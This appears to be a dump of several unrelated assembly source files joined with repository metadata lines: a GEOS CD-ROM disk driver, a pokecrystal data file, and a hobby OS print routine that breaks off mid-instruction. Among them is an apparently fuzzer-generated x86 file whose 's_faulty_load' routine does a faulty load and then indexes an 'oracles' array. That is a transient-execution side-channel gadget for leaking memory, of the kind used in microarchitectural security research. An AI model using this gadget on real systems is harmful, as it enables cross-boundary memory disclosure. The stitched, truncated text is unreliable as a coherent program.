COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1992 -- All Rights Reserved PROJECT: PC GEOS MODULE: FILE: cdromDisk.asm AUTHOR: Adam de Boor, Mar 29, 1992 ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- Adam 3/29/92 Initial revision DESCRIPTION: Disk-related functions for NetWare. $Id: cdromDisk.asm,v 1.1 97/04/10 11:55:21 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ Resident segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CDROMDiskGenerateID %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Generate an ID from the VTOC for the current disk. CALLED BY: (INTERNAL) PASS: es:si = DriveStatusEntry RETURN: carry set if ID couldn't be determined carry clear if ID figured: cxdx = 32-bit ID DESTROYED: ax SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 11/23/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CDROMDiskGenerateID proc near volFCB local FCB dta local FCB uses ds, bx, si, es, di, bp .enter ; ; Read the volume label. This seems to have magical effects -- without ; this call, the succeeding call to retrieve the VTOC makes DOS forever ; unable to refresh its buffers, providing us with a permanent image of ; the previous disk. I guess the rule is that you must talk to DOS ; before talking to MSCDEX after a disk change has occurred. How you're ; supposed to know that a disk change has occurred without talking to ; MSCDEX is beyond me... dl 7/16/93 ; mov dl, es:[si].DSE_number lea di, ss:[volFCB] lea bx, ss:[dta] call CDROMDiskLocateVolumeLow ; edigeron 1/11/01 - Testing for the carry flag isn't the right ; thing to do here. That doesn't work. Normally the error gets ; caught in the following code, but not if using DR-DOS and NWCDEX. ; And this error handler is wrong too, as we didn't allocate memory ; yet... ; jc error tst al jnz errorNoFree ; ; Allocate a buffer for reading the first sector of the VTOC. ; mov ax, CDROM_SECTOR_SIZE mov cx, ALLOC_FIXED call MemAlloc jc done ; ; Now read it in. ; push bx, bp mov cl, es:[si].DSE_number ; cx <- drive # clr ch mov es, ax mov ds, ax clr bx, dx ; es:bx <- buffer ; dx <- sector # (0) mov ax, CDROM_READ_VTOC call CDROMUtilSetFailOnError ; grabs BIOS int 2fh call CDROMUtilClearFailOnError jc error ; ; Compute a 32-bit checksum for the thing, using our favorite algorithm. ; clr si ; point to start of buffer mov dx, 0x31fe ; magic number mov cl, 5 ; handy shift count for *33 clr ah calculateLoop: lodsb ; ; Multiply existing value by 33 ; movdw dibp, bxdx ; save current value for add rol dx, cl ; *32, saving high 5 bits in low ones shl bx, cl ; *32, making room for high 5 bits of ; dx mov ch, dl andnf ch, 0x1f ; ch <- high 5 bits of dx andnf dl, not 0x1f ; nuke saved high 5 bits or bl, ch ; shift high 5 bits into bx adddw bxdx, dibp ; *32+1 = *33 ; ; Add current byte into the value. ; add dx, ax adc bx, 0 cmp si, CDROM_SECTOR_SIZE ; end of the buffer? jb calculateLoop ; no mov cx, bx ; cxdx <- ID pop bx, bp call MemFree clc done: .leave ret error: pop bx, bp call MemFree errorNoFree: stc jmp done CDROMDiskGenerateID endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CDROMDiskID %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Return the ID number for the disk in a drive we manage. CALLED BY: DR_FS_DISK_ID PASS: es:si = DriveStatusEntry for the drive RETURN: carry set if ID couldn't be determined carry clear if it could: cx:dx = 32-bit ID al = DiskFlags for the disk ah = MediaType for the disk DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 3/29/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CDROMDiskID proc far .enter call CDROMDiskGenerateID ; cxdx <- ID jc done doneEarly: clr al ; disk flags mov ah, MEDIA_CUSTOM; ah <- MediaType done: .leave ret if 0 lameness: clr cx mov dx, cx mov al, mask DF_WRITABLE or mask DF_ALWAYS_VALID mov ah, MEDIA_FIXED_DISK jmp doneEarly endif CDROMDiskID endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CDROMDiskRename %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Attempt to rename a disk. CDROMs don't allow this, so we always return ERROR_ACCESS_DENIED CALLED BY: DR_FS_DISK_RENAME PASS: es:si = DiskDesc of disk to be renamed (locked for exclusive access...) ds:dx = new name for disk RETURN: carry set on error: ax = error code carry clear if successful DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 3/29/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CDROMDiskRename proc far .enter mov ax, ERROR_ACCESS_DENIED stc .leave ret CDROMDiskRename endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CDROMDiskSave %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Append whatever private data the driver will require to restore the passed disk descriptor. The system portion (FSSavedDisk) will already have been filled in, with FSSD_private set to the offset at which the driver should store its information. NOTE: The registers passed to this function are non-standard (the FSIR is in DS, not ES). CALLED BY: DR_FS_DISK_SAVE PASS: ds:bx = DiskDesc being saved (not locked; FSIR locked shared) es:dx = place to store FSD's private data cx = # bytes FSD may use RETURN: carry clear if disk saved: cx = # bytes actually taken by FSD-private data carry set if disk not saved: cx = # bytes needed by FSD-private data (0 => other error) DESTROYED: PSEUDO CODE/STRATEGY: Nothing to do here. KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 12/10/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CDROMDiskSave proc far .enter clr cx .leave ret CDROMDiskSave endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CDROMDiskRestore %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Perform whatever actions are needed before the kernel attempts to restore a disk handle. The main purpose of this function is for network FSDs that should ensure the drive about to be used is actually mapped to the same remote path it was mapped to when the disk was saved, or to mount the appropriate path if the kernel doesn't actually know what drive it will use. CALLED BY: DR_FS_DISK_RESTORE PASS: es = FSIR locked exclusive ds:si = FSSavedDisk structure. bx = DriveStatusEntry for drive in which disk will be sought; 0 if drive unknown RETURN: carry set if disk couldn't be restored: ax = DiskRestoreError bx = destroyed carry clear if disk should be ok to restore: bx = DriveStatusEntry where the disk should be. ax = destroyed DESTROYED: nothing PSEUDO CODE/STRATEGY: Make sure the DriveStatusEntry is for a CD-ROM drive. If not, change it to the first CD-ROM drive we know of. KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 12/10/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CDROMDiskRestore proc far .enter ; ; If drive is a CD-ROM, we're happy ; tst bx jz findDrive mov ax, es:[bx].DSE_status andnf ax, mask DS_TYPE cmp ax, DRIVE_CD_ROM shl offset DS_TYPE je done findDrive: ; ; Look for first CD-ROM drive of which we know and use that. ; segmov ds, dgroup, bx mov al, ds:[cdromDrives][0].CDRD_number mov bx, offset FIH_driveList - offset DSE_next findDriveLoop: mov bx, es:[bx].DSE_next tst bx jz driveNoLongerExists cmp es:[bx].DSE_number, al jne findDriveLoop done: .leave ret driveNoLongerExists: mov ax, DRE_DRIVE_NO_LONGER_EXISTS stc jmp done CDROMDiskRestore endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CDROMDiskLocateVolumeLow %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Low-level routine, shared by formatting and disk code, to locate a volume label, given a drive number and the address of two buffers. CALLED BY: CDROMDiskLocateVolume, CDROMDiskGenerateID PASS: dl = drive number (0-origin) ss:di = FCB to use for the search ss:bx = DTA to use for the search (RenameFCB) RETURN: al = 0 if found label ds = ss DESTROYED: dx, cx, di, ah SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 10/ 7/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CDROMDiskLocateVolumeLow proc far uses es .enter inc dx ; make it 1-origin ; ; Initialize the FCB: all 0 except: ; FCB_type 0xff to indicate extended FCB ; FCB_attributes indicates volume label wanted ; FCB_volume holds drive number ; FCB_name set to all '?' to match any characters segmov es,ss push di mov cx, size FCB clr al rep stosb pop di mov ss:[di].FCB_type, 0xff ; Mark as extended mov ss:[di].FCB_attributes, mask FA_VOLUME; Want volume mov ss:[di].FCB_volume, dl ;set drive push di add di, offset FCB_name mov cx, size FCB_name mov al,'?' rep stosb call SysLockBIOS ; ; Set the DTA to our temporary one on the stack, here, to give DOS ; enough work room. ; segmov ds, ss mov dx, bx ; Point DOS at DTA mov ah, MSDOS_SET_DTA call FileInt21 ; ; Now ask DOS to find the durn thing. ; pop dx mov ah,MSDOS_FCB_SEARCH_FOR_FIRST call FileInt21 call SysUnlockBIOS .leave ret CDROMDiskLocateVolumeLow endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CDROMDiskLocateVolume %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Common function used for initializing a disk handle and renaming a disk. CALLED BY: INTERNAL CDROMDiskInit, CDROMDiskRename PASS: es:si = DiskDesc for the disk being initialized or renamed. ss:bp = inherited frame with volFCB local FCB dta local FCB RETURN: al = 0 if volume found: dta filled with unopened extended FCB containing the volume name, suitable for copying or deleting = ffh if volume not found ds = ss DESTROYED: bx, cx, dx, di PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 3/ 5/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CDROMDiskLocateVolume proc near .enter inherit CDROMDiskLock mov di, es:[si].DD_drive mov dl, es:[di].DSE_number lea di, ss:[volFCB] lea bx, ss:[dta] call CDROMDiskLocateVolumeLow .leave ret CDROMDiskLocateVolume endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CDROMDiskLock %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Make sure the given disc is in the drive. CALLED BY: DR_FS_DISK_LOCK PASS: es:si = DiskDesc for the disk to be locked in al = FILE_NO_ERRORS bit set if disk lock may not be aborted by the user. RETURN: carry set if disk could not be locked DESTROYED: ax SIDE EFFECTS: PSEUDO CODE/STRATEGY: 12/27/00 ayuen: To avoid some deadlock problem in some DOS IFS drivers, the kernel is now changed to not grab/release DSE_lockSem around calls to DR_FS_DISK_LOCK, such that the IFS driver can decide whether or not to enforce mutual-exclusion. For CDROM driver we need to grab/release the semaphore ourselves. REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 11/23/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CDROMDiskLock proc far volFCB local FCB ; FCB we need to use to locate the ; volume label (DOS 2.X has bugs with ; 4eh(cx=FA_VOLUME)) dta local FCB ; DTA for DOS to use during volume ; location (needs an unopened ; extended FCB). uses bx, cx, dx, ds .enter mov bx, es:[si].DD_drive push bx ; save DriveStatusEntry nptr PSem es, [bx].DSE_lockSem, TRASH_BX getID: ; ; Fetch the volume ID for the disk, which the MSCDEX docs claim is a ; fairly lightweight operation... ; push ax call CDROMUtilSetFailOnError call CDROMDiskLocateVolume call CDROMUtilClearFailOnError tst al pop ax jnz checkUnnamed ; al <> 0 means no ; label found tst ss:[dta].FCB_name[0] ; duplicate check done in jz checkUnnamed ; DR_FS_DISK_INIT in primary ; ; Map the name in-place ; push ds, ax push es, si segmov es, ss, ax mov ds, ax lea si, ss:[dta].FCB_name mov dx, si mov di, DR_DPFS_MAP_VOLUME_NAME push bp call CDROMCallPrimary pop bp pop es, di push di add di, offset DD_volumeLabel mov cx, size DD_volumeLabel repe cmpsb pop si pop ds, ax jne promptForDisk done: pop bx ; es:bx = DriveStatusEntry VSem es, [bx].DSE_lockSem, TRASH_AX_BX .leave ret checkUnnamed: ; ; If disk has no volume label, but the one we're looking for did, ; ask for the disk. ; test es:[si].DD_flags, mask DF_NAMELESS jz promptForDisk ; ; Else use the ID generated from the VTOC instead. ; push ax, si mov si, es:[si].DD_drive call CDROMDiskGenerateID pop ax, si cmp cx, es:[si].DD_id.high jne promptForDisk cmp dx, es:[si].DD_id.low je done promptForDisk: ; ; Ask the user to insert the disk after releasing the boot sector ; and recovering the flag that says whether the user may abort ; the lock. ; call FSDAskForDisk jc done ; => user canceled, so we're done jmp getID ; else make sure the user put the ; right disk in... CDROMDiskLock endp Resident ends
25.309484
79
0.585563
7850268843a0a805c441600d3366023099cd4722
5,094
asm
Assembly
Transynther/x86/_processed/US/_zr_/i7-8650U_0xd2_notsx.log_517_316.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/US/_zr_/i7-8650U_0xd2_notsx.log_517_316.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/US/_zr_/i7-8650U_0xd2_notsx.log_517_316.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %rax push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_A_ht+0x6398, %r10 nop nop nop nop nop xor $58380, %rbx mov $0x6162636465666768, %rcx movq %rcx, (%r10) nop nop nop nop cmp $15480, %r13 lea addresses_normal_ht+0x1c14, %rsi lea addresses_UC_ht+0x1c998, %rdi xor $6675, %rbp mov $17, %rcx rep movsb nop nop nop nop nop and $64243, %rsi lea addresses_D_ht+0x16918, %rbx nop nop nop nop xor $4643, %rcx mov (%rbx), %rbp sub $22893, %rsi lea addresses_UC_ht+0x6d98, %rsi lea addresses_UC_ht+0xaa98, %rdi nop nop nop and %r10, %r10 mov $18, %rcx rep movsw nop add $40963, %rbp lea addresses_A_ht+0x1b58, %rsi lea addresses_D_ht+0x16398, %rdi cmp %rax, %rax mov $121, %rcx rep movsq nop nop nop sub $44034, %rcx lea addresses_UC_ht+0x15418, %r10 nop nop nop nop dec %rsi movb (%r10), %bl nop dec %r10 lea addresses_normal_ht+0x14ac0, %rsi nop cmp %rbx, %rbx mov $0x6162636465666768, %rdi movq %rdi, %xmm6 movups %xmm6, (%rsi) nop nop nop xor $16061, %r10 lea addresses_WT_ht+0xaf98, %r13 clflush (%r13) nop nop nop nop add %rbx, %rbx movups (%r13), %xmm6 vpextrq $1, %xmm6, %rax nop cmp %rbx, %rbx pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r14 push %r9 push %rbp push %rcx push %rdi push %rsi // REPMOV lea addresses_UC+0x3198, %rsi lea addresses_UC+0x13598, %rdi clflush (%rdi) nop and %r14, %r14 mov $114, %rcx rep movsw nop nop nop and $15714, %r9 // Store lea addresses_WC+0x36a0, %rcx nop nop nop xor $34309, %r9 movb $0x51, (%rcx) nop nop nop nop nop cmp $51187, %rdi // Faulty Load lea addresses_US+0x15b98, %rsi nop nop nop cmp $35106, %rbp mov (%rsi), %edi lea oracles, %rcx and $0xff, %rdi shlq $12, %rdi mov (%rcx,%rdi,1), %rdi pop %rsi pop %rdi pop %rcx pop %rbp pop %r9 pop %r14 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_UC', 'congruent': 9, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': True, 'NT': False, 'congruent': 11, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 10, 'same': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 6, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'00': 517} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
28.3
1,550
0.656066
00e8bac83b841e4ed687bc066bc4b7a7057b2223
715
asm
Assembly
data/pokemon/egg_moves.asm
Ebernacher90/pokecrystal-allworld
5d623c760e936842cf92563912c5bd64dd69baef
[ "blessing" ]
null
null
null
data/pokemon/egg_moves.asm
Ebernacher90/pokecrystal-allworld
5d623c760e936842cf92563912c5bd64dd69baef
[ "blessing" ]
null
null
null
data/pokemon/egg_moves.asm
Ebernacher90/pokecrystal-allworld
5d623c760e936842cf92563912c5bd64dd69baef
[ "blessing" ]
null
null
null
INCLUDE "constants.asm" SECTION "Egg Move Pointers", ROMX ; All instances of Charm, Steel Wing, Sweet Scent, and Lovely Kiss were ; removed from egg move lists in Crystal. ; Sweet Scent and Steel Wing were redundant since they're TMs, and ; Charm and Lovely Kiss were unobtainable. ; Staryu's egg moves were removed in Crystal, because Staryu is genderless ; and can only breed with Ditto. EggMovePointers:: indirect_table 2, 1 indirect_entries MEW, EggMovePointers1 indirect_entries CELEBI, EggMovePointers2 indirect_entries NUM_POKEMON, EggMovePointers3 indirect_table_end INCLUDE "data/pokemon/egg_moves_kanto.asm" INCLUDE "data/pokemon/egg_moves_johto.asm" INCLUDE "data/pokemon/egg_moves_hoenn.asm"
29.791667
74
0.804196
07d621279329b26729505ee292f11c19a858e387
5,809
asm
Assembly
xbuild/print.asm
iOSPrincekin/simpleOS
4e90153b2425561e4ef587247198614a0779f62a
[ "MIT" ]
null
null
null
xbuild/print.asm
iOSPrincekin/simpleOS
4e90153b2425561e4ef587247198614a0779f62a
[ "MIT" ]
null
null
null
xbuild/print.asm
iOSPrincekin/simpleOS
4e90153b2425561e4ef587247198614a0779f62a
[ "MIT" ]
null
null
null
TI_GDT equ 0 RPL0 equ 0 SELECTOR_VIDEO equ (0x0003 << 3) + TI_GDT + RPL0 [bits 32] section .data put_int_buffer dq 0 ; 定义 8 字节缓冲区用于数字到字符的转换 section .text ;--------------------------------------------------------------- ;put_str 通过 put_char 来打印以 0 字符结尾的字符串 ;--------------------------------------------------------------- ;输入:栈中参数为打印的字符串 ;输出:无 global put_str put_str: ;由于本函数中只用到了 edx 和 ecx,只备份这两个寄存器 push ebx push ecx xor ecx,ecx ;准备用 ecx 存储参数,清空 mov ebx, [esp + 12] ;从栈中得到待打印的字符串地址 .goon: mov cl, [ebx] cmp cl, 0 ;如果处理得到了字符串尾,跳到结束处返回 jz .str_over push ecx call put_char ;为 put_char 函数传递参数 add esp, 4 ;回收参数所占的栈空间 inc ebx ;使 ebx 指向下一个字符 jmp .goon .str_over: pop ecx pop ebx ret ;------------------------------- put_char -------------------------- ;功能描述:把栈中的 1 个字符写入光标所在处 ;------------------------------------------------------------------- global put_char put_char: pushad ;备份 32 位寄存器环境 ;需要保证 gs 中为正确的视频段选择子 ;为保险起见,每次打印都为 gs 赋值 mov ax, SELECTOR_VIDEO ; 不能直接把立即数送入段寄存器 mov gs, ax ;;;;;;;;;;;;;; 获取当前光标位置 ;;;;;;;;;;;;;;; ; 先获取高 8 位 mov dx, 0x03d4 ;索引寄存器 mov al, 0x0e ;用于提供光标位置的高8位 out dx, al mov dx, 0x3d5 ;通过读写数据端口 0x3d5 来获得或设置光标位置 in al, dx ;得到了光标位置的高 8 位 mov ah, al ;再获取低 8 位 mov dx, 0x03d4 mov al, 0x0f out dx, al mov dx, 0x03d5 in al, dx ;将光标存入 bx mov bx, ax ;下面这行是在栈中获取待打印的字符 mov ecx, [esp + 36] ;pushad 压入 4 x 8 = 32 字节, ;加上主调函数 4 字节的返回地址, 故 esp + 36 字节 cmp cl, 0xd ;CR 是 0x0d, LF 是 0x0a jz .is_carriage_return cmp cl, 0xa jz .is_line_feed cmp cl, 0x08 ;BS(backspace)的asc 码是 8 jmp .put_other .is_backspace: ;;;;;;;;;;;;;;;;;; backspace 的一点说明 ; 当为backspace时,本质上只要将光标移向前一个显存位置即可,后面再输入的字符自然会覆盖此处的字符 ; 但有可能在键入 backspace 后并不再键入新的字符,这时光标已经向前移动到待删除的字符位置,但字符还在原处 ; 这就显得好怪异,所以此处添加了空格或空字符0 dec bx shl bx, 1 ;光标左移1位等于乘2 ;表示光标对应显存中的偏移字节 mov byte [gs:bx], 0x20 ;将待删除的字节补为 0 或空格皆可 inc bx mov byte [gs:bx], 0x07 shr bx,1 jmp .set_cursor ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; .put_other: shl bx,1 ;光标位置用 2 字节表示,将光标值乘 2 ;表示对应显存中的偏移字节 mov [gs:bx],cl ; ASCII 字符本身 inc bx mov byte [gs:bx],0x07 ;字符属性 shr bx,1 ;恢复老的光标值 inc bx ;下一个光标值 cmp bx,2000 jl .set_cursor ;若光标值小于2000,表示未写到 ;显存的最后,则去设置新的光标值 ;若超出屏幕字符数大小(2000) ;则换行处理 .is_line_feed: ;是换行符LF(\n) .is_carriage_return: ;是回车符CR(\r) ;如果是CR (\n),只要把光标移到行首就行了 xor dx, dx ; dx是被除数的高16位,清0 mov ax, bx ; ax是被除数的低16位 mov si, 80 ; 由于是效仿Linux,Linux中 \n 表示 ;下一行的行首,所以本系统中 div si ;把\n和\r都处理为 Linux 中 \n 的意思 ;也就是下一行的行首 sub bx, dx ;光标值减去除 80 的余数比便是取整 ;以上 4 行处理 \r 的代码 .is_carriage_return_end: ;回车符 CR 处理结束 add bx, 80 cmp bx, 2000 .is_line_feed_end: ;若是 LF(\n),将光标移 +80 便可 jl .set_cursor ;屏幕行范围是 0 ~ 24,滚屏的原理是将屏幕的第 1 ~ 24 行搬运到第 0 ~ 23 行;再将第 24 行用空格填充 .roll_screen: ;若超出屏幕大小,开始滚屏 cld mov ecx, 960 ; 2000-80=1920 个字符要搬运,共 1920*2=3840 字节 ;一次搬 4 字节,共 3840/4 = 960 次 mov esi, 0xc00b80a0 ;第1行行首 mov edi, 0xc00b8000 ;第0行行首 rep movsb ;;;;;;;;;;;;;;;将最后一行填充为空白 mov ebx, 3840 ;最后一行首字符的第一个字节偏移 = 190 * 2 mov ecx, 80 ;一行是 80 字符 (160 字节),每次清空 1 字符 ;(2字节),一行需要移动 80 次 .cls: mov word [gs:ebx], 0x0720; 0x0720 是黑底白字的空格键 add ebx, 2 loop .cls mov bx, 1920 ;将光标值重置为1920,最后一行的首字符 .set_cursor: ;将光标设置为 bx 值 ;;;;;;;;;;;;;;;; 1 先设置高 8 位 ;;;;;;;;;;;;;;;;;; mov dx, 0x03d4 ;索引寄存器 mov al, 0x0e ;用于提供光标位置的高8位 out dx,al mov dx, 0x03d5 ;通过读写数据端口 0x3d5 来获得或设置光标位置 mov al, bh out dx, al ;;;;;;;;;;;;;;;;; 2 在设置低 8 位 mov dx, 0x03d4 mov al, 0x0f out dx, al mov dx, 0x03d5 mov al, bl out dx, al .put_char_done: popad ret ;------------------------ 将小端字节序的数字变成对应的 ASCII 后,倒置 ----------------- ;输入:栈中参数为待打印的数字 ;输出:在屏幕上打印十六进制数字,并不会打印前缀 0x,如打印十进制 15 时,只会直接打印 f,不会是 0xf ;-------------------------------------------------------------------------------- global put_int put_int: pushad mov ebp,esp mov eax,[ebp+4*9] ; call 的返回地址占 4 字节 + pushad 的 8 个 4 字节 mov edx,eax mov edi,7 ; 指定在 put_int_buffer 中初始的偏移量 mov ecx,8 ; 32 为数字中,十六进制数字的位数是 8 个 mov ebx,put_int_buffer ;将 32 位数字按照十六进制的形式从低位到高位逐个处理,共处理 8 个十六进制数字 .16based_4bits: ; 每 4 为二进制是十六进制数字的 1 位,遍历每一位十六进制数字 and edx, 0x0000000F ; 解析十六进制数字的每一位,and 与操作后,edx 只有低 4 位有效,数字 0 ~ 9 和 a ~ f 